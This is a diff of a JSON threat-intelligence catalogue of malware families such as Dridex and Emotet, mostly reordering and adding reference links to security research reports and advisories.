"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", "https://blog.talosintelligence.com/2022/03/threat-advisory-doublezero.html" ], "synonyms": [ @@ -21012,25 +22389,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.downdelph", - "https://labs.sentinelone.com/a-deep-dive-into-zebrocys-dropper-docs/", "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", - "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", - "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf", + "https://labs.sentinelone.com/a-deep-dive-into-zebrocys-dropper-docs/", + "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html" ], "synonyms": [ "DELPHACY" ], "type": [] }, - "related": [ - { - "dest-uuid": "837a295c-15ff-41c0-9b7e-5f2fb502b00a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "e6a077cb-42cc-4193-9006-9ceda8c0dff2", "value": "Downdelph" }, @@ -21053,9 +22421,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.downpaper", - "https://www.infinitumit.com.tr/apt-35/", + "https://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf", "http://www.clearskysec.com/charmingkitten/", - "https://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + "https://www.infinitumit.com.tr/apt-35/" ], "synonyms": [], "type": [] @@ -21094,14 +22462,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dreambot", - "https://community.riskiq.com/article/30f22a00", - "https://medium.com/csis-techblog/the-end-of-dreambot-a-loved-piece-of-gozi-24cc9bfc8122", + "https://medium.com/csis-techblog/installcapital-when-adware-becomes-pay-per-install-cyber-crime-15516249a451", "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://research.checkpoint.com/2020/gozi-the-malware-with-a-thousand-faces/", + "https://community.riskiq.com/article/30f22a00", + "https://lokalhost.pl/gozi_tree.txt", "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality", "https://www.youtube.com/watch?v=EyDiIAt__dI", - "https://research.checkpoint.com/2020/gozi-the-malware-with-a-thousand-faces/", - "https://medium.com/csis-techblog/installcapital-when-adware-becomes-pay-per-install-cyber-crime-15516249a451", - "https://lokalhost.pl/gozi_tree.txt" + "https://medium.com/csis-techblog/the-end-of-dreambot-a-loved-piece-of-gozi-24cc9bfc8122" ], "synonyms": [], "type": [] @@ -21114,131 +22482,125 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dridex", - "https://github.com/pan-unit42/tweets/blob/master/2020-09-07-Dridex-IOCs.txt", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://adalogics.com/blog/the-state-of-advanced-code-injections", - "https://blog.lexfo.fr/dridex-malware.html", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", - "https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://securityintelligence.com/dridex-campaign-propelled-by-cutwail-botnet-and-powershell/", + "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", + "https://community.riskiq.com/article/2cd1c003", + "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/", + "https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/", + "https://blogs.blackberry.com/en/2021/08/blackberry-prevents-threat-actor-group-ta575-and-dridex-malware", "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://www.youtube.com/watch?v=1VB15_HgUkg", + "https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/", + "https://unit42.paloaltonetworks.com/banking-trojan-techniques/", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://cdn2.hubspot.net/hubfs/507516/ANB_MIR_Dridex_PRv7_final.pdf", + "https://unit42.paloaltonetworks.com/travel-themed-phishing/", + "https://cyber-anubis.github.io/malware%20analysis/dridex/", + "https://www.deepinstinct.com/blog/types-of-dropper-malware-in-microsoft-office", + "https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf", + "https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://github.com/rad9800/talks/blob/main/MALWARE_MADNESS.pdf", + "http://www.secureworks.com/research/threat-profiles/gold-drake", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-decrypting-https-traffic/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://artik.blue/malware3", + "https://www.pandasecurity.com/mediacenter/src/uploads/2017/10/Informe_Dridex_Revisado_FINAL_EN-2.pdf", + "https://threatresearch.ext.hp.com/dridex-malicious-document-analysis-automating-the-extraction-of-payload-urls/", + "https://malwarebookreports.com/cryptone-cobalt-strike/", + "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dridex-financial-trojan.pdf", + "https://community.riskiq.com/article/e4fb7245", + "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", + "https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/", + "https://home.treasury.gov/news/press-releases/sm845", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them", + "https://twitter.com/felixw3000/status/1382614469713530883?s=20", + "https://www.cert.pl/en/news/single/talking-dridex-part-0-inside-the-dropper/", + "https://muha2xmad.github.io/unpacking/dridex/", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://github.com/pan-unit42/tweets/blob/master/2020-09-07-Dridex-IOCs.txt", + "https://www.govcert.admin.ch/blog/28/the-rise-of-dridex-and-the-role-of-esps", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://www.sentinelone.com/labs/sanctions-be-damned-from-dridex-to-macaw-the-evolution-of-evil-corp/", + "https://adalogics.com/blog/the-state-of-advanced-code-injections", + "https://www.cert.ssi.gouv.fr/ioc/CERTFR-2020-IOC-003/", + "https://inquest.net/blog/2021/12/20/dont-bring-dridex-home-holidays", + "https://www.secureworks.com/research/threat-profiles/gold-heron", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", + "https://isc.sans.edu/forums/diary/Recent+Dridex+activity/26550/", + "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", + "https://blog.lexfo.fr/dridex-malware.html", + "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", + "https://unit42.paloaltonetworks.com/excel-add-ins-dridex-infection-chain", + "https://thedfirreport.com/2020/08/03/dridex-from-word-to-domain-dominance/", + "https://twitter.com/TheDFIRReport/status/1356729371931860992", + "https://intel471.com/blog/privateloader-malware", + "https://viql.github.io/dridex/", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf", + "https://malcat.fr/blog/cutting-corners-against-a-dridex-downloader/", + "https://www.secureworks.com/research/threat-profiles/gold-drake", + "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://www.appgate.com/blog/reverse-engineering-dridex-and-automating-ioc-extraction", + "https://www.atomicmatryoshka.com/post/malware-headliners-dridex", + "https://www.proofpoint.com/us/blog/security-briefs/threat-actors-pair-tax-themed-lures-covid-19-healthcare-themes", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://twitter.com/Cryptolaemus1/status/1407135648528711680", + "https://www.intel471.com/blog/cybercrime-russia-china-iran-nation-state", + "https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://blogs.vmware.com/networkvirtualization/2021/03/analysis-of-a-new-dridex-campaign.html/", + "http://www.secureworks.com/research/threat-profiles/gold-heron", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://medium.com/walmartglobaltech/wastedloader-or-dridexloader-4f47c9b3ae77", + "https://votiro.com/blog/anatomy-of-a-well-crafted-ups-fedex-and-dhl-phishing-email-during-covid-19/", + "https://yoroi.company/research/office-documents-may-the-xll-technique-change-the-threat-landscape-in-2022/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf", + "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", + "https://reaqta.com/2020/06/dridex-the-secret-in-a-postmessage/", "https://assets.virustotal.com/reports/2021trends.pdf", "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp", - "https://votiro.com/blog/anatomy-of-a-well-crafted-ups-fedex-and-dhl-phishing-email-during-covid-19/", - "https://unit42.paloaltonetworks.com/travel-themed-phishing/", - "https://viql.github.io/dridex/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://malcat.fr/blog/cutting-corners-against-a-dridex-downloader/", - "http://www.secureworks.com/research/threat-profiles/gold-drake", - "https://thedfirreport.com/2020/08/03/dridex-from-word-to-domain-dominance/", - "https://threatresearch.ext.hp.com/detecting-ta551-domains/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", - "http://www.secureworks.com/research/threat-profiles/gold-heron", - "https://www.sentinelone.com/labs/sanctions-be-damned-from-dridex-to-macaw-the-evolution-of-evil-corp/", - "https://twitter.com/Cryptolaemus1/status/1407135648528711680", - "https://www.justice.gov/opa/pr/officials-announce-international-operation-targeting-transnational-criminal-organization", - "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://www.blueliv.com/downloads/documentation/reports/Network_insights_of_Dyre_and_Dridex_Trojan_bankers.pdf", - "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", - "https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/", - "https://www.secureworks.com/research/threat-profiles/gold-drake", - "https://securityintelligence.com/posts/raspberry-robin-worm-dridex-malware/", - "https://killingthebear.jorgetesta.tech/actors/evil-corp", - "https://blogs.blackberry.com/en/2021/08/blackberry-prevents-threat-actor-group-ta575-and-dridex-malware", - "https://unit42.paloaltonetworks.com/wireshark-tutorial-decrypting-https-traffic/", - "https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/", - 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"https://www.justice.gov/opa/pr/officials-announce-international-operation-targeting-transnational-criminal-organization", + "https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/", + "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", "https://gaissecurity.com/uploads/csirt/EN-Dridex-banking-trojan.pdf", "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/", - "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", - "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", - "https://aaqeel01.wordpress.com/2021/02/07/dridex-malware-analysis/", - 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"https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://www.blueliv.com/downloads/documentation/reports/Network_insights_of_Dyre_and_Dridex_Trojan_bankers.pdf", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://securityintelligence.com/dridexs-cold-war-enter-atombombing/", + "https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "276c2c2e-09da-44cf-a3f7-806b3feb41da", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "b4216929-1626-4444-bdd7-bfd4b68a766e", "value": "Dridex" }, @@ -21247,11 +22609,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.driftpin", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-niagara", "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", - "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html", - "https://www.welivesecurity.com/2015/09/08/carbanak-gang-is-back-and-packing-new-guns/" + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://www.welivesecurity.com/2015/09/08/carbanak-gang-is-back-and-packing-new-guns/", + "https://www.secureworks.com/research/threat-profiles/gold-niagara", + "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" ], "synonyms": [ "Spy.Agent.ORM", @@ -21292,6 +22654,20 @@ "uuid": "730a4e94-4f9b-4f34-a1f3-1c97d341332c", "value": "DriveOcean" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.drokbk", + "https://www.microsoft.com/en-us/security/blog/2023/04/18/nation-state-threat-actor-mint-sandstorm-refines-tradecraft-to-attack-high-value-targets/", + "https://www.secureworks.com/blog/drokbk-malware-uses-github-as-dead-drop-resolver" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b29c0d53-597d-41c9-a1d0-04dbaa4917f8", + "value": "Drokbk" + }, { "description": "DropBook is a backdoor developed by the Molerats group and first appeared in late 2020. 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"https://securelist.com/the-chronicles-of-emotet/99660/", - "https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes", - "https://www.netskope.com/blog/emotet-new-delivery-mechanism-to-bypass-vba-protection", - "https://team-cymru.com/blog/2021/01/27/taking-down-emotet/", - "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor", - "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", - "https://threatpost.com/emotet-spreading-malicious-excel-files/178444/", - "https://www.cert.govt.nz/it-specialists/advisories/emotet-malware-being-spread-via-email/", - "https://www.wiwo.de/my/technologie/digitale-welt/emotet-netzwerk-wie-eines-der-groessten-hacker-netzwerke-der-welt-lahmgelegt-wurde/27164048.html", - "https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903", - "https://thedfirreport.com/2022/09/12/dead-or-alive-an-emotet-story/", - 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"https://www.blueliv.com/blog/research/where-is-emotet-latest-geolocation-data/", - "https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89", - "https://persianov.net/emotet-malware-analysis-part-1", - "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", - "https://twitter.com/eduardfir/status/1461856030292422659", - "https://www.bleepingcomputer.com/news/security/emotet-now-drops-cobalt-strike-fast-forwards-ransomware-attacks/", - "https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-2.html", - "https://www.seqrite.com/blog/the-return-of-the-emotet-as-the-world-unlocks/", - "https://www.zscaler.com/blogs/research/emotet-back-action-after-short-break", - "https://blog.malwarebytes.com/botnets/2019/09/emotet-is-back-botnet-springs-back-to-life-with-new-spam-campaign/", - "https://blog.kryptoslogic.com/malware/2018/08/01/emotet.html", - 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"https://blog.kryptoslogic.com/malware/2018/10/31/emotet-email-theft.html", + "https://twitter.com/ContiLeaks/status/1498614197202079745", + "https://www.atomicmatryoshka.com/post/malware-headliners-emotet", + "https://www.bleepingcomputer.com/news/security/emotet-now-drops-cobalt-strike-fast-forwards-ransomware-attacks/", + "https://www.picussecurity.com/blog/emotet-technical-analysis-part-2-powershell-unveiled", + "https://d00rt.github.io/emotet_network_protocol/", + "https://www.binarydefense.com/emotet-wi-fi-spreader-upgraded/", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", + "https://kienmanowar.wordpress.com/2022/01/23/quicknote-emotet-epoch4-epoch5-tactics/", + "https://www.proofpoint.com/us/blog/threat-insight/emotet-tests-new-delivery-techniques", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-emotet-hijacks-windows-api-evades-sandbox-analysis/", + "https://www.cert.pl/en/news/single/whats-up-emotet/", + "https://www.fortinet.com/blog/threat-research/deep-dive-into-emotet-malware.html", + "https://www.kroll.com/en/insights/publications/cyber/monitor/emotet-analysis-new-lnk-in-the-infection-chain", + "https://www.proofpoint.com/us/blog/threat-insight/comprehensive-look-emotets-fall-2022-return", + "https://www.youtube.com/watch?v=_mGMJFNJWSk", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html", + "https://www.melani.admin.ch/melani/de/home/dokumentation/newsletter/Trojaner_Emotet_greift_Unternehmensnetzwerke_an.html", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "https://team-cymru.com/blog/2021/01/27/taking-down-emotet/", + "https://research.checkpoint.com/2021/when-old-friends-meet-again-why-emotet-chose-trickbot-for-rebirth/", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmwcb-report-modern-bank-heists-2020.pdf", + "https://www.hornetsecurity.com/en/threat-research/emotet-botnet-takedown/", + "https://threatconnect.com/blog/research-roundup-activity-on-previously-identified-apt33-domains/", + "https://isc.sans.edu/diary/28044", + "https://community.riskiq.com/article/2cd1c003", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/emotet-adds-new-evasion-technique-and-uses-connected-devices-as-proxy-cc-servers/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf", + "https://blog.cyble.com/2022/04/27/emotet-returns-with-new-ttps-and-delivers-lnk-files-to-its-victims/", + "https://www.bleepingcomputer.com/news/security/emotet-malware-is-back-and-rebuilding-its-botnet-via-trickbot/", + "https://www.gdata.de/blog/2017/10/30110-emotet-beutet-outlook-aus", + "https://www.trendmicro.com/en_no/research/23/c/emotet-returns-now-adopts-binary-padding-for-evasion.html", + "https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89", + "https://security-soup.net/quick-post-spooky-new-powershell-obfuscation-in-emotet-maldocs/", + "https://forensicitguy.github.io/emotet-excel4-macro-analysis/", + "https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html", + "https://www.dragos.com/blog/industry-news/suspected-conti-ransomware-activity-in-the-auto-manufacturing-sector/", + "https://threatresearch.ext.hp.com/emotets-return-whats-different/", + "https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://isc.sans.edu/forums/diary/Emotet+Stops+Using+0000+in+Spambot+Traffic/28270/", + "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", + "https://www.jpcert.or.jp/english/at/2019/at190044.html", + "https://www.cynet.com/attack-techniques-hands-on/new-wave-of-emotet-when-project-x-turns-into-y/", + "https://www.netresec.com/?page=Blog&month=2022-05&post=Emotet-C2-and-Spam-Traffic-Video", + "https://blog.lumen.com/emotet-redux/", + "https://mirshadx.wordpress.com/2020/11/22/analyzing-an-emotet-dropper-and-writing-a-python-script-to-statically-unpack-payload/", + "https://www.intezer.com/blog/malware-analysis/how-threat-actors-abuse-lnk-files/", + "https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://adalogics.com/blog/the-state-of-advanced-code-injections", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://research.checkpoint.com/emotet-tricky-trojan-git-clones/", + "https://www.intrinsec.com/emotet-returns-and-deploys-loaders/", + "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", + "https://www.youtube.com/watch?v=EyDiIAt__dI", + "https://muha2xmad.github.io/unpacking/emotet-part-2/", + "https://isc.sans.edu/forums/diary/Emotet+infections+and+followup+malware/24532/", + "https://blog.kryptoslogic.com/malware/2018/08/01/emotet.html", + "https://blog.malwarebytes.com/threat-intelligence/2021/11/trickbot-helps-emotet-come-back-from-the-dead/", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", + "https://isc.sans.edu/diary/rss/27036", + "http://ropgadget.com/posts/defensive_pcres.html", + "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/", + "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", + "https://www.hornetsecurity.com/en/security-information/emotet-update-increases-downloads/", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://www.trendmicro.com/en_us/research/22/a/emotet-spam-abuses-unconventional-ip-address-formats-spread-malware.html", + "https://kienmanowar.wordpress.com/2022/12/19/z2abimonthly-malware-challege-emotet-back-from-the-dead/", + "https://www.youtube.com/watch?v=_BLOmClsSpc", + "https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles", + "https://www.zdnet.com/article/meet-the-white-hat-group-fighting-emotet-the-worlds-most-dangerous-malware/", + "https://www.microsoft.com/security/blog/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/", + "https://blogs.vmware.com/security/2022/03/emotet-c2-configuration-extraction-and-analysis.html", + "https://www.heise.de/security/artikel/Emotet-Trickbot-Ryuk-ein-explosiver-Malware-Cocktail-4573848.html", + "https://www.netskope.com/blog/emotet-new-delivery-mechanism-to-bypass-vba-protection", + "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", + "https://cert-agid.gov.it/news/malware/semplificare-lanalisi-di-emotet-con-python-e-iced-x86/", + "https://unit42.paloaltonetworks.com/emotet-malware-summary-epoch-4-5/", + "https://blogs.vmware.com/networkvirtualization/2022/02/emotet-is-not-dead-yet-part-2.html/", + "https://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/", + "https://medium.com/@Ilandu/emotet-campaign-6f240f7a5ed5", + "https://www.fortinet.com/blog/threat-research/Trends-in-the-recent-emotet-maldoc-outbreak", + "https://www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/", + "https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns", + "https://www.spamtitan.com/blog/emotet-malware-revives-old-email-conversations-threads-to-increase-infection-rates/", + "https://www.securityartwork.es/2021/06/16/analisis-campana-emotet/", + "https://medium.com/@0xd0cf11e/analyzing-emotet-with-ghidra-part-1-4da71a5c8d69", + "https://www.cyren.com/blog/articles/example-analysis-of-multi-component-malware", + "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", + "https://www.proofpoint.com/us/blog/threat-insight/comprehensive-look-emotets-summer-2020-return", + "http://blog.fortinet.com/2017/05/03/deep-analysis-of-new-emotet-variant-part-1", + "https://www.hornetsecurity.com/en/security-information/awaiting-the-inevitable-return-of-emotet/", + "https://cert.grnet.gr/en/blog/reverse-engineering-emotet/", + "https://krebsonsecurity.com/2021/01/international-action-targets-emotet-crimeware" ], "synonyms": [ "Geodo", @@ -22122,15 +23508,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "3f7616bd-f1de-46ee-87c2-43c0c2edaa28", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "d29eb927-d53d-4af2-b6ce-17b3a1b34fe7", "value": "Emotet" }, @@ -22139,28 +23516,29 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.empire_downloader", - "https://www.trellix.com/en-gb/about/newsroom/stories/threat-labs/looking-over-the-nation-state-actors-shoulders.html", - "https://redcanary.com/blog/getsystem-offsec/", - "https://twitter.com/thor_scanner/status/992036762515050496", - "https://decoded.avast.io/threatintel/decoding-cobalt-strike-understanding-payloads/", - "https://www.secureworks.com/research/threat-profiles/bronze-firestone", - "https://unit42.paloaltonetworks.com/atoms/obscureserpens/", - "https://www.cyber.gov.au/sites/default/files/2020-06/ACSC-Advisory-2020-008-Copy-Paste-Compromises.pdf", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", - "http://www.secureworks.com/research/threat-profiles/gold-heron", - "https://www.secureworks.com/research/threat-profiles/bronze-atlas", - "https://us-cert.cisa.gov/ncas/alerts/aa20-275a", - "https://www.secureworks.com/research/threat-profiles/gold-ulrick", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-249a", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://attack.mitre.org/groups/G0096", "http://www.secureworks.com/research/threat-profiles/gold-burlap", + "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", + "https://unit42.paloaltonetworks.com/atoms/obscureserpens/", + "https://www.secureworks.com/research/threat-profiles/bronze-firestone", + "https://www.cyber.gov.au/sites/default/files/2020-06/ACSC-Advisory-2020-008-Copy-Paste-Compromises.pdf", + "https://www.secureworks.com/research/threat-profiles/gold-drake", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://decoded.avast.io/threatintel/decoding-cobalt-strike-understanding-payloads/", + "https://www.secureworks.com/research/threat-profiles/bronze-atlas", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", + "https://twitter.com/thor_scanner/status/992036762515050496", "https://paper.seebug.org/1301/", "https://www.secureworks.com/research/threat-profiles/gold-heron", - "https://www.secureworks.com/research/threat-profiles/gold-drake", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", - 